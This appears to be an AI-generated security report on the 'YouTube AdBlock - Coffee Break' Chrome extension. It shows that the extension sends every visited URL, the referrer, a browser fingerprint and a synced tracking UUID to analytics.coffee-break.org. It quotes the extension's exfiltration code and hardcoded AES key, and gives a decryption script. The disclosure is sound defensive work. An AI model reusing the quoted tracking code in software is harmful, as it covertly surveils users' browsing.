Is YouTube AdBlock - Coffee Break for YouTube safe?
YouTube AdBlock - Coffee Break for YouTube transmits full browsing history and browser fingerprint to its developer analytics server on every page navigation.
On each tab update, the extension collects the current URL, referrer, user agent, language, OS and browser version, and timezone, encrypts the payload with a hardcoded AES-GCM key, and POSTs it to analytics.coffee-break.org. A persistent UUID stored in chrome.storage.sync ties these reports to a single user identity across all Chrome sessions and signed-in devices. The same UUID is also included in plain-text pings sent during YouTube ad-blocking activity.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Full browsing history sent encrypted to analytics.coffee-break.org on every page
Every page-load, the worker sends its URL, referring URL, a tracking ID, and a browser fingerprint to analytics.coffee-break.org, AES-encrypted with a built-in key.
We decrypted traffic with that key, confirming visited URLs and a UUID.
You finish loading any web page in any tab.
Applies to every http and https URL, not just YouTube.
The extension sends the full address of that page, the page you came from, a tracking ID, and your browser fingerprint to analytics.coffee-break.org.
The transmission is encrypted with a key contained in the extension, so it is not visible in plain network logs.
| Content-Type | application/json;charset=utf-8 |
{
"event_id": 1,
"payload": {
"data": "k3Jp2mQ7Yb8nVqRzL4Xa1c9TfWdSg0HuEoI…base64(IV‖ciphertext‖GCM-tag)…"
}
}The body sent to analytics.coffee-break.org carries only an encrypted blob in payload.data. The AES key needed to read it is hardcoded in the extension, so anyone with the extension can decrypt it. We did exactly that to recover the plaintext below.
[
{
"timestamp": "2026-06-15T12:11:13.402Z",
"client_time": 1781568673402,
"user_id": "282a90cd-bc17-45d0-b120-208b8e1dca5e",
"source_page": null,
"target_page": "https://en.wikipedia.org/wiki/Canary",
"method": "GET",
"protocol": "https:",
"domain": "en.wikipedia.org",
"user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
"accept_language": "en-US",
"os_name": "Linux",
"browser_name": "Chrome",
"os_version": "x86_64",
"browser_version": "128.0",
"timeZone": "Europe/London"
}
]| Field | Value | Why it matters | |
|---|---|---|---|
Page you visited | https://en.wikipedia.org/wiki/Canary | The full address of the page that just finished loading, including path and query string. | |
Page you came from | https://www.google.com/search?q=canary | The address of the previous page, building a trail of where you browsed before this one. | |
Persistent tracking ID | 282a90cd-bc17-45d0-b120-208b8e1dca5e | A UUID that stays the same across sessions and devices, letting every visit be tied back to the same browser. | |
Browser fingerprint | Chrome 128.0 / Linux x86_64 / en-US / Europe/London | Your user agent, language, operating system, browser version, and time zone, which together help distinguish your device. | |
Timestamps | 2026-06-15T12:11:13.402Z / 1781568673402 | The exact time of the visit, both ISO and epoch, recording when you were active. |
The navigation listener and the upload, from the extension's background script
this.reportAction = async function (page_url, source_url) {
await this.getData();
await this.sendData(await this.prepareRequest([{
timestamp: (new Date()).toISOString(),
client_time: Date.now(),
user_id: this.data.uuid,
source_page: source_url,
target_page: page_url,
domain: new URL(page_url).hostname || 'Unknown',
user_agent: this.data.user_agent,
accept_language: this.data.accept_language,
os_name: this.data.os_name,
browser_name: this.data.browser_name,
os_version: this.data.os_version,
browser_version: this.data.browser_version,
timeZone: this.data.timeZone
}]));
};
this.sendData = async function (analytics_payload) {
var response = await fetch(analytics_url + '/posthog', {
method: 'POST',
headers: { 'Content-Type': 'application/json;charset=utf-8' },
body: JSON.stringify(analytics_payload),
mode: 'cors'
});
};
// initialization (end of file):
self.stat = new self.PageStatistics(
'8b85e0449da1d2b9',
'5c1bc97b4e7c5b48', // <- AES key
'https://analytics.coffee-break.org'
);
self.stat.init();Decrypts a captured payload.data value from a POST to analytics.coffee-break.org/posthog using the AES-128-GCM key hardcoded in the extension, recovering the plaintext browsing record.
// Decrypt a captured analytics.coffee-break.org payload.
// Usage: node decrypt-coffeebreak-payload.js '<base64 payload.data value>'
// The key is the ASCII string hardcoded in analytics.js.
const crypto = require('crypto');
const KEY = Buffer.from('5c1bc97b4e7c5b48', 'utf8'); // 16 bytes -> AES-128-GCM
const b64 = process.argv[2];
if (!b64) { console.error('pass the base64 payload.data value'); process.exit(1); }
const blob = Buffer.from(b64, 'base64');
const iv = blob.subarray(0, 16);
const tag = blob.subarray(blob.length - 16);
const ct = blob.subarray(16, blob.length - 16);
const decipher = crypto.createDecipheriv('aes-128-gcm', KEY, iv);
decipher.setAuthTag(tag);
const pt = Buffer.concat([decipher.update(ct), decipher.final()]);
console.log(pt.toString('utf8'));- 1Capture a POST to analytics.coffee-break.org/posthog, copy payload.data from the body.
- 2Run: node decrypt-coffeebreak-payload.js '<base64 string>'.
- 3The printed JSON is the plaintext record: target_page (visited URL) and user_id.
Persistent cross-device tracking ID sent to analytics.coffee-break.org
On first run the extension makes a UUID, stored in chrome.storage.sync and synced to every device on the account.
It's sent as user_id to analytics.coffee-break.org: plain text in YouTube pings, encrypted in analytics POSTs.
The extension runs for the first time on a device.
It reads chrome.storage.sync for an existing tracking ID and creates one if absent.
It generates a UUID, stores it in Chrome sync so it follows you across devices, and attaches it as user_id to data sent to analytics.coffee-break.org.
Because it lives in sync storage, the same ID appears on every device signed into the same Google account.
| Content-Type | application/json |
{
"user_id": "282a90cd-bc17-45d0-b120-208b8e1dca5e",
"tag": "yt_success"
}The persistent tracking ID, kept in Chrome sync storage so it copies to every device on your account and is restored after reinstall.
chrome.storage.sync key 'user_stat_uuid'{
"user_stat_uuid": "282a90cd-bc17-45d0-b120-208b8e1dca5e"
}Where the UUID is created and where it leaves the device
async function letusknow(o) {
var result = await chrome.storage.sync.get(['user_stat_uuid']);
var uuid = result['user_stat_uuid'];
if (!uuid) {
uuid = crypto.randomUUID();
chrome.storage.sync.set({ user_stat_uuid: uuid });
}
if (uuid && o === 1) {
eventping({ user_id: uuid, tag: 'yt_success' });
} else if (uuid && o === 0) {
eventping({ user_id: uuid, tag: 'yt_error' });
}
}
function eventping(data) {
fetch('https://analytics.coffee-break.org/posthog', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
}- analytics.coffee-break.org
Developer analytics endpoint (/posthog). Gets the persistent user_id UUID in plain text from the YouTube content script, and encrypted with per-nav data from the service worker.